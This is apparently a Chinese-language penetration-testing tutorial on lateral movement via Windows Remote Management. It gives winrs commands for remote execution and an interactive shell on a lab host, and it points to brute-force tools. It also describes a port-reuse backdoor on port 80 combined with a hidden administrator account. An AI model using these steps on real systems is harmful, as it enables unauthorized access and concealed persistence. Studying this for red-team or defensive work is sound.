基于winRM的横向移动
winRM简介
WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。
作为DCOM和WMI远程管理的替代方法,WinRM用于通过WSMan与远程计算机建立会话,WSMan利用HTTP/S作为传输机制来传递XML格式的消息。在现代Windows系统中,WinRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986进行通信。
WinRM本机支持NTLM和Kerberos(域)身份验证。初始身份验证后,WinRM会话将使用AES加密(Microsoft Docs)保护。
注意:必须配置并运行WinRM服务才能接受远程连接。WinRM接受连接可能还需要几个步骤。请参阅这篇 Pentest Lab 文章 以了解更多信息。
※ winRM横向移动同时适用于工作组和域环境。
利用条件
通信的双方都需要开启WinRM服务
WinRS 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。
只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
WinRM状态查询
1 |
PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"} |
开启可以使用下面其中一条命令即可
1 |
winrm quickconfig -q #这条命令运行后会自动添加防火墙例外规则,放行5985端口。 |
再次查询
1 |
PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"} |
服务端防火墙允许WinRM服务端口通信
默认为5985、5986;如果5985打开,但是5986关闭,标识WinRM服务配置为仅接受HTTP连接。修改默认端口可以使用如下:
1 |
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} |
WinRM通信两端配置要求
1)查看WinRM具体配置
1 |
winrm get winrm/config |
2)允许所有客户端IP连接
1 |
winrm set winrm/config/Client @{TrustedHosts="*"} |
远程管理
远程连接时可能会遇到以下错误
1 |
Winrs error:WinRM 客户端无法处理该请求。可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置 TrustedHosts 的详细信息,请运行以下命令: winrm help config。 |
在你的攻击机上执行下面这条命令,设置为信任所有主机,再去连接即可
1 |
C:\Users\Administrator>winrm set winrm/config/Client @{TrustedHosts="*"} |
远程命令执行
1 |
C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami |
获取交互式的shell
1 |
C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% cmd |
利用工具
WSMan-WinRM
使用WSMan.Automation COM对象通过WinRM执行远程命令。
https://github.com/bohops/WSMan-WinRM
Ladon
模块功能 | 目标端口 | 目标系统 | 使用教程 |
---|---|---|---|
Winrm爆破 | 5985/5986端口 | Windows | http://k8gege.org/Ladon/WinrmScan.html |
WinrmExec | 5985 | Windows | http://k8gege.org/Ladon/WinrmExec.html |
其他利用
开启远程主机3389
如果目标开启了WinRM可以利用PeekABoo工具使目标开启3389
端口复用后门
将WinRM监听端口由5985改为80或者443,即使端口被web服务也不影响,并且不影响web服务。利用如下
1)配置目标WinRM服务,更改监听端口开启复用
1 |
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} |
2)链接目标
1 |
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami |
该方法适用于有web服务的机器,不会开启新的端口,配合添加隐藏管理员用户,隐蔽性极高。
参考引用:
http://t3ngyu.leanote.com/post/LM-WinRM-WinRS
https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/
https://www.cnblogs.com/-mo-/p/12019314.html
- source:se7ensec.cn
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论